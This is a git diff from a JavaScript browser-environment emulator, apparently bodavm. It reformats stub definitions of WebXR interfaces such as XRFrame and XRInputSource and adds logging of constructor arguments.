@@ -1,9 +1,65 @@ -// XRAnchorSet对象 -bodavm.memory.globalobj['XRAnchorSet'] = function XRAnchorSet(){if (!(this instanceof XRAnchorSet)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchorSet'], "XRAnchorSet"); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRAnchorSet', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "values", arguments)}},'prototype'); +// XRAnchorSet对象 + +bodavm.memory.globalobj['XRAnchorSet'] = function XRAnchorSet() { + console.log_copy('XRAnchorSet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRAnchorSet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchorSet'], "XRAnchorSet"); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchorSet', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchorSet'].prototype, "XRAnchorSet", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRBoundedReferenceSpace.js b/env_xbb_lastest_jsdom/env/XRBoundedReferenceSpace.js index 8dcfb19c..67155726 100644 --- a/env_xbb_lastest_jsdom/env/XRBoundedReferenceSpace.js +++ b/env_xbb_lastest_jsdom/env/XRBoundedReferenceSpace.js @@ -1,6 +1,27 @@ -// XRBoundedReferenceSpace对象 -bodavm.memory.globalobj['XRBoundedReferenceSpace'] = function XRBoundedReferenceSpace(){if (!(this instanceof XRBoundedReferenceSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRBoundedReferenceSpace'], "XRBoundedReferenceSpace"); -bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype.__proto__=bodavm.memory.globalobj['XRReferenceSpace'].prototype; -bodavm.memory.globalobj['XRBoundedReferenceSpace'].__proto__=bodavm.memory.globalobj['XRReferenceSpace']; -bodavm.toolsFunc.defineProperty('XRBoundedReferenceSpace', "boundsGeometry", {configurable:true, enumerable:true, get:function boundsGeometry (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype, "XRBoundedReferenceSpace", "boundsGeometry_get", arguments)}, set:undefined},'prototype'); +// XRBoundedReferenceSpace对象 + +bodavm.memory.globalobj['XRBoundedReferenceSpace'] = function XRBoundedReferenceSpace() { + console.log_copy('XRBoundedReferenceSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRBoundedReferenceSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRBoundedReferenceSpace'], "XRBoundedReferenceSpace"); +bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype.__proto__ = bodavm.memory.globalobj['XRReferenceSpace'].prototype; +bodavm.memory.globalobj['XRBoundedReferenceSpace'].__proto__ = bodavm.memory.globalobj['XRReferenceSpace']; +bodavm.toolsFunc.defineProperty('XRBoundedReferenceSpace', "boundsGeometry", { + configurable: true, + enumerable: true, + get: function boundsGeometry() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRBoundedReferenceSpace'].prototype, "XRBoundedReferenceSpace", "boundsGeometry_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRCPUDepthInformation.js b/env_xbb_lastest_jsdom/env/XRCPUDepthInformation.js index 207d0512..01852465 100644 --- a/env_xbb_lastest_jsdom/env/XRCPUDepthInformation.js +++ b/env_xbb_lastest_jsdom/env/XRCPUDepthInformation.js @@ -1,7 +1,35 @@ -// XRCPUDepthInformation对象 -bodavm.memory.globalobj['XRCPUDepthInformation'] = function XRCPUDepthInformation(){if (!(this instanceof XRCPUDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCPUDepthInformation'], "XRCPUDepthInformation"); -bodavm.memory.globalobj['XRCPUDepthInformation'].prototype.__proto__=bodavm.memory.globalobj['XRDepthInformation'].prototype; -bodavm.memory.globalobj['XRCPUDepthInformation'].__proto__=bodavm.memory.globalobj['XRDepthInformation']; -bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "getDepthInMeters", {configurable:true, enumerable:true, writable:true, value:function getDepthInMeters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "getDepthInMeters", arguments)}},'prototype'); +// XRCPUDepthInformation对象 + +bodavm.memory.globalobj['XRCPUDepthInformation'] = function XRCPUDepthInformation() { + console.log_copy('XRCPUDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRCPUDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCPUDepthInformation'], "XRCPUDepthInformation"); +bodavm.memory.globalobj['XRCPUDepthInformation'].prototype.__proto__ = bodavm.memory.globalobj['XRDepthInformation'].prototype; +bodavm.memory.globalobj['XRCPUDepthInformation'].__proto__ = bodavm.memory.globalobj['XRDepthInformation']; +bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "data_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRCPUDepthInformation', "getDepthInMeters", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInMeters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCPUDepthInformation'].prototype, "XRCPUDepthInformation", "getDepthInMeters", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRCamera.js b/env_xbb_lastest_jsdom/env/XRCamera.js index 648f0e14..4ba97318 100644 --- a/env_xbb_lastest_jsdom/env/XRCamera.js +++ b/env_xbb_lastest_jsdom/env/XRCamera.js @@ -1,5 +1,33 @@ -// XRCamera对象 -bodavm.memory.globalobj['XRCamera'] = function XRCamera(){if (!(this instanceof XRCamera)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCamera'], "XRCamera"); -bodavm.toolsFunc.defineProperty('XRCamera', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRCamera', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "height_get", arguments)}, set:undefined},'prototype'); +// XRCamera对象 + +bodavm.memory.globalobj['XRCamera'] = function XRCamera() { + console.log_copy('XRCamera 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRCamera)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRCamera'], "XRCamera"); +bodavm.toolsFunc.defineProperty('XRCamera', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRCamera', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRCamera'].prototype, "XRCamera", "height_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRDOMOverlayState.js b/env_xbb_lastest_jsdom/env/XRDOMOverlayState.js index a73d28b0..c4fe29b0 100644 --- a/env_xbb_lastest_jsdom/env/XRDOMOverlayState.js +++ b/env_xbb_lastest_jsdom/env/XRDOMOverlayState.js @@ -1,4 +1,25 @@ -// XRDOMOverlayState对象 -bodavm.memory.globalobj['XRDOMOverlayState'] = function XRDOMOverlayState(){if (!(this instanceof XRDOMOverlayState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDOMOverlayState'], "XRDOMOverlayState"); -bodavm.toolsFunc.defineProperty('XRDOMOverlayState', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDOMOverlayState'].prototype, "XRDOMOverlayState", "type_get", arguments)}, set:undefined},'prototype'); +// XRDOMOverlayState对象 + +bodavm.memory.globalobj['XRDOMOverlayState'] = function XRDOMOverlayState() { + console.log_copy('XRDOMOverlayState 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRDOMOverlayState)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDOMOverlayState'], "XRDOMOverlayState"); +bodavm.toolsFunc.defineProperty('XRDOMOverlayState', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDOMOverlayState'].prototype, "XRDOMOverlayState", "type_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRDepthInformation.js b/env_xbb_lastest_jsdom/env/XRDepthInformation.js index 002171f6..c573c450 100644 --- a/env_xbb_lastest_jsdom/env/XRDepthInformation.js +++ b/env_xbb_lastest_jsdom/env/XRDepthInformation.js @@ -1,7 +1,49 @@ -// XRDepthInformation对象 -bodavm.memory.globalobj['XRDepthInformation'] = function XRDepthInformation(){if (!(this instanceof XRDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDepthInformation'], "XRDepthInformation"); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "normDepthBufferFromNormView", {configurable:true, enumerable:true, get:function normDepthBufferFromNormView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "normDepthBufferFromNormView_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRDepthInformation', "rawValueToMeters", {configurable:true, enumerable:true, get:function rawValueToMeters (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "rawValueToMeters_get", arguments)}, set:undefined},'prototype'); +// XRDepthInformation对象 + +bodavm.memory.globalobj['XRDepthInformation'] = function XRDepthInformation() { + console.log_copy('XRDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDepthInformation'], "XRDepthInformation"); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "normDepthBufferFromNormView", { + configurable: true, + enumerable: true, + get: function normDepthBufferFromNormView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "normDepthBufferFromNormView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "rawValueToMeters", { + configurable: true, + enumerable: true, + get: function rawValueToMeters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "rawValueToMeters_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRFrame.js b/env_xbb_lastest_jsdom/env/XRFrame.js index 42f8f95d..3f922b21 100644 --- a/env_xbb_lastest_jsdom/env/XRFrame.js +++ b/env_xbb_lastest_jsdom/env/XRFrame.js @@ -1,12 +1,89 @@ -// XRFrame对象 -bodavm.memory.globalobj['XRFrame'] = function XRFrame(){if (!(this instanceof XRFrame)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRFrame'], "XRFrame"); -bodavm.toolsFunc.defineProperty('XRFrame', "session", {configurable:true, enumerable:true, get:function session (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "session_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getPose", {configurable:true, enumerable:true, writable:true, value:function getPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getViewerPose", {configurable:true, enumerable:true, writable:true, value:function getViewerPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getViewerPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "trackedAnchors", {configurable:true, enumerable:true, get:function trackedAnchors (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "trackedAnchors_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "createAnchor", {configurable:true, enumerable:true, writable:true, value:function createAnchor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "createAnchor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getDepthInformation", {configurable:true, enumerable:true, writable:true, value:function getDepthInformation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getDepthInformation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResults", {configurable:true, enumerable:true, writable:true, value:function getHitTestResults (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResults", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResultsForTransientInput", {configurable:true, enumerable:true, writable:true, value:function getHitTestResultsForTransientInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResultsForTransientInput", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRFrame', "getLightEstimate", {configurable:true, enumerable:true, writable:true, value:function getLightEstimate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getLightEstimate", arguments)}},'prototype'); +// XRFrame对象 + +bodavm.memory.globalobj['XRFrame'] = function XRFrame() { + console.log_copy('XRFrame 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRFrame)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRFrame'], "XRFrame"); +bodavm.toolsFunc.defineProperty('XRFrame', "session", { + configurable: true, + enumerable: true, + get: function session() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "session_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getViewerPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getViewerPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getViewerPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "trackedAnchors", { + configurable: true, + enumerable: true, + get: function trackedAnchors() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "trackedAnchors_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "createAnchor", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnchor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "createAnchor", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getDepthInformation", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInformation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getDepthInformation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResults", { + configurable: true, + enumerable: true, + writable: true, + value: function getHitTestResults() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResults", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getHitTestResultsForTransientInput", { + configurable: true, + enumerable: true, + writable: true, + value: function getHitTestResultsForTransientInput() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getHitTestResultsForTransientInput", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRFrame', "getLightEstimate", { + configurable: true, + enumerable: true, + writable: true, + value: function getLightEstimate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRFrame'].prototype, "XRFrame", "getLightEstimate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRHitTestResult.js b/env_xbb_lastest_jsdom/env/XRHitTestResult.js index 3f679876..96ed78ba 100644 --- a/env_xbb_lastest_jsdom/env/XRHitTestResult.js +++ b/env_xbb_lastest_jsdom/env/XRHitTestResult.js @@ -1,5 +1,33 @@ -// XRHitTestResult对象 -bodavm.memory.globalobj['XRHitTestResult'] = function XRHitTestResult(){if (!(this instanceof XRHitTestResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestResult'], "XRHitTestResult"); -bodavm.toolsFunc.defineProperty('XRHitTestResult', "getPose", {configurable:true, enumerable:true, writable:true, value:function getPose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "getPose", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRHitTestResult', "createAnchor", {configurable:true, enumerable:true, writable:true, value:function createAnchor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "createAnchor", arguments)}},'prototype'); +// XRHitTestResult对象 + +bodavm.memory.globalobj['XRHitTestResult'] = function XRHitTestResult() { + console.log_copy('XRHitTestResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRHitTestResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestResult'], "XRHitTestResult"); +bodavm.toolsFunc.defineProperty('XRHitTestResult', "getPose", { + configurable: true, + enumerable: true, + writable: true, + value: function getPose() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "getPose", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRHitTestResult', "createAnchor", { + configurable: true, + enumerable: true, + writable: true, + value: function createAnchor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestResult'].prototype, "XRHitTestResult", "createAnchor", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRHitTestSource.js b/env_xbb_lastest_jsdom/env/XRHitTestSource.js index 4dbe137e..c3709ef0 100644 --- a/env_xbb_lastest_jsdom/env/XRHitTestSource.js +++ b/env_xbb_lastest_jsdom/env/XRHitTestSource.js @@ -1,4 +1,25 @@ -// XRHitTestSource对象 -bodavm.memory.globalobj['XRHitTestSource'] = function XRHitTestSource(){if (!(this instanceof XRHitTestSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestSource'], "XRHitTestSource"); -bodavm.toolsFunc.defineProperty('XRHitTestSource', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestSource'].prototype, "XRHitTestSource", "cancel", arguments)}},'prototype'); +// XRHitTestSource对象 + +bodavm.memory.globalobj['XRHitTestSource'] = function XRHitTestSource() { + console.log_copy('XRHitTestSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRHitTestSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRHitTestSource'], "XRHitTestSource"); +bodavm.toolsFunc.defineProperty('XRHitTestSource', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRHitTestSource'].prototype, "XRHitTestSource", "cancel", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRInputSource.js b/env_xbb_lastest_jsdom/env/XRInputSource.js index 6f7ea6ec..bb2a540a 100644 --- a/env_xbb_lastest_jsdom/env/XRInputSource.js +++ b/env_xbb_lastest_jsdom/env/XRInputSource.js @@ -1,9 +1,65 @@ -// XRInputSource对象 -bodavm.memory.globalobj['XRInputSource'] = function XRInputSource(){if (!(this instanceof XRInputSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRInputSource'], "XRInputSource"); -bodavm.toolsFunc.defineProperty('XRInputSource', "handedness", {configurable:true, enumerable:true, get:function handedness (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "handedness_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "targetRayMode", {configurable:true, enumerable:true, get:function targetRayMode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRayMode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "targetRaySpace", {configurable:true, enumerable:true, get:function targetRaySpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "targetRaySpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "gripSpace", {configurable:true, enumerable:true, get:function gripSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gripSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "gamepad", {configurable:true, enumerable:true, get:function gamepad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "gamepad_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRInputSource', "profiles", {configurable:true, enumerable:true, get:function profiles (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRInputSource'].prototype, "XRInputSource", "profiles_get", arguments)}, set:undefined},'prototype'); +// XRInputSource对象 + +bodavm.memory.globalobj['XRInputSource'] = function XRInputSource() { + console.log_copy('XRInputSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRInputSource)) { + return 